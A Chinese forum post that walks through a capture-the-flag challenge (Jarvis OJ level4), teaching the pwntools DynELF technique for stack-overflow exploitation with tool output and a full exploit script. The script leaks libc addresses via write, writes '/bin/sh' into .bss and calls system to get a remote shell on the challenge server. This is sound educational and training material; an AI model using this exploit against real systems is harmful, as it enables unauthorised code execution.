Thunder_J 发表于 2019-3-23 20:33:27

栈溢出之DynELF

0x00:前言
DynELF方法适用于没有libc的情况,我们可以通过DynELF方法来实现泄露system函数的地址,那么DynELF是什么呢?在pwntools官方文档有介绍,简单而言就是通过leak方法反复进入main函数中查询libc中的内容,其代码框架如下
p = process('./xxx')
def leak(address):
payload = "xxxxxxxx" + address + "xxxxxxxx"
p.send(payload)
data = p.recv(4)
log.debug("%#x => %s" % (address, (data or '').encode('hex'))) #打印搜索的信息
return data
d = DynELF(leak, elf=ELF("./xxx")) #初始化DynELF模块
systemAddress = d.lookup('system', 'libc') #在libc文件中搜索system函数的地址

我们通过一道题来深入了解这个方法
0x01:Jarvis Oj-level4
题目链接
https://dn.jarvisoj.com/challengefiles/level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0
解题思路

我们先检测一些保护机制
root@Thunder_J-virtual-machine:~/桌面# checksec level4 '/home/Thunder_J/\xe6\xa1\x8c\xe9\x9d\xa2/level4'
Arch:   i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled #堆栈不可执行
PIE:      No PIE (0x8048000)

用IDA查看一下主函数内容
main()

如果是做了前面level0-3的朋友应该对这里非常熟悉,逻辑非常简单,我们进vulnerable_function()函数内看一下
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}

vulnerable_function()

很明显这里出现栈溢出,read函数读取0x100的内容,双击buf可以看到buf只有0x88+0x4的大小,所以我们可以构造栈溢出
ssize_t vulnerable_function()
{
char buf; //

return read(0, &buf, 0x100u);
}

第一次构造


既然我们清楚是栈溢出,我们就需要多多观察程序内的信息,有没有system,’/bin/sh’等关键的内容,然而我们用IDA并没有搜索到有system或者’/bin/sh’的信息,那这里就需要用到上面提及的DynELF的方法了,我们通过objdump查看函数信息:
root@Thunder_J-virtual-machine:~/桌面# objdump -R level4

level4:   文件格式 elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE            VALUE
08049ffc R_386_GLOB_DAT    __gmon_start__
0804a00c R_386_JUMP_SLOT   read@GLIBC_2.0
0804a010 R_386_JUMP_SLOT   __gmon_start__
0804a014 R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0
0804a018 R_386_JUMP_SLOT   write@GLIBC_2.0

我们看到有read和write函数,其实有这两个函数就代表我们可以通过他们来泄露system函数在libc中的地址了,因为我们可以通过栈溢出覆盖返回地址执行,因此我们第一次构造调用write函数泄露libc中system的地址
def leak(addr):
    write_plt = p32(0x08048340)
    fun_addr = p32(0x0804844b)
    payload = 'a' * (0x88 + 0x4) + write_plt + fun_addr + p32(1) + p32(addr) + p32(4) #write(1, addr, 4);
    r.send(payload)
    leaked = r.recv(4)
    return leaked

d = DynELF(leak, elf=ELF("./level4"))
system_addr = d.lookup('system', 'libc')

第二次构造

我们在得到了system函数的地址之后就需要写入’/bin/sh’字符串了,那么去哪里写入呢?当然是.bss段,我们通过readelf的方法查看程序的.bss段:
root@Thunder_J-virtual-machine:~/桌面# readelf -S level4
There are 30 section headers, starting at offset 0x1844:

节头:
Name            Type            Addr   Off    Size   ES Flg Lk Inf Al
[ 0]                   NULL            00000000 000000 000000 00      0   00
[ 1] .interp         PROGBITS      08048154 000154 000013 00   A0   01
[ 2] .note.ABI-tag   NOTE            08048168 000168 000020 00   A0   04
[ 3] .note.gnu.build-i NOTE            08048188 000188 000024 00   A0   04
[ 4] .gnu.hash         GNU_HASH      080481ac 0001ac 000020 04   A5   04
[ 5] .dynsym         DYNSYM          080481cc 0001cc 000060 10   A6   14
[ 6] .dynstr         STRTAB          0804822c 00022c 000050 00   A0   01
[ 7] .gnu.version      VERSYM          0804827c 00027c 00000c 02   A5   02
[ 8] .gnu.version_r    VERNEED         08048288 000288 000020 00   A6   14
[ 9] .rel.dyn          REL             080482a8 0002a8 000008 08   A5   04
.rel.plt          REL             080482b0 0002b0 000020 08AI5124
.init             PROGBITS      080482d0 0002d0 000023 00AX0   04
.plt            PROGBITS      08048300 000300 000050 04AX0   0 16
.text             PROGBITS      08048350 000350 0001c2 00AX0   0 16
.fini             PROGBITS      08048514 000514 000014 00AX0   04
.rodata         PROGBITS      08048528 000528 000017 00   A0   04
.eh_frame_hdr   PROGBITS      08048540 000540 000034 00   A0   04
.eh_frame         PROGBITS      08048574 000574 0000ec 00   A0   04
.init_array       INIT_ARRAY      08049f08 000f08 000004 00WA0   04
.fini_array       FINI_ARRAY      08049f0c 000f0c 000004 00WA0   04
.jcr            PROGBITS      08049f10 000f10 000004 00WA0   04
.dynamic          DYNAMIC         08049f14 000f14 0000e8 08WA6   04
.got            PROGBITS      08049ffc 000ffc 000004 04WA0   04
.got.plt          PROGBITS      0804a000 001000 00001c 04WA0   04
.data             PROGBITS      0804a01c 00101c 000008 00WA0   04
.bss            NOBITS          0804a024 001024 000004 00WA0   01
.comment          PROGBITS      00000000 001024 000052 01MS0   01
.shstrtab         STRTAB          00000000 001076 000106 00      0   01
.symtab         SYMTAB          00000000 00117c 000450 10   29454
.strtab         STRTAB          00000000 0015cc 000276 00      0   01
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
p (processor specific)

根据上面的数据我们选中.bss段的地址开始第二次构造,在.bss段中写入’/bin/sh’字符串
data_addr = 0x0804A024 # readelf -S level4

read_plt = p32(0x08048310)
fun_addr = p32(0x0804844b)
payload = 'a' * (0x88 + 0x4) + read_plt + fun_addr + p32(0) + p32(data_addr) + p32(8)
r.send(payload)

r.send("/bin/sh\x00")

第三次构造


准备工作做完了当然最后一步就是getshell了
payload = 'a' * (0x88 + 0x4) + p32(system_addr) + 'aaaa' + p32(data_addr)
r.send(payload)

exp


总结一下上面的步骤
from pwn import *

r = remote("pwn2.jarvisoj.com", 9880)

def leak(addr):
    write_plt = p32(0x08048340)
    fun_addr = p32(0x0804844b)
    buf = p32(addr)
    payload = 'a' * (0x88 + 0x4) + write_plt + fun_addr + p32(1) + buf + p32(4)
    r.send(payload)
    leaked = r.recv(4)
    return leaked

d = DynELF(leak, elf=ELF("./level4"))
system_addr = d.lookup('system', 'libc')

data_addr = 0x0804A024 # readelf -S level4

read_plt = p32(0x08048310)
fun_addr = p32(0x0804844b)
payload = 'a' * (0x88 + 0x4) + read_plt + fun_addr + p32(0) + p32(data_addr) + p32(8)
r.send(payload)

r.send("/bin/sh\x00")

payload = 'a' * (0x88 + 0x4) + p32(system_addr) + 'aaaa' + p32(data_addr)
r.send(payload)

r.interactive()


没有做过level0-3的建议做一下在做level4,每个题目收获都会有所不同




页: [1]
查看完整版本: 栈溢出之DynELF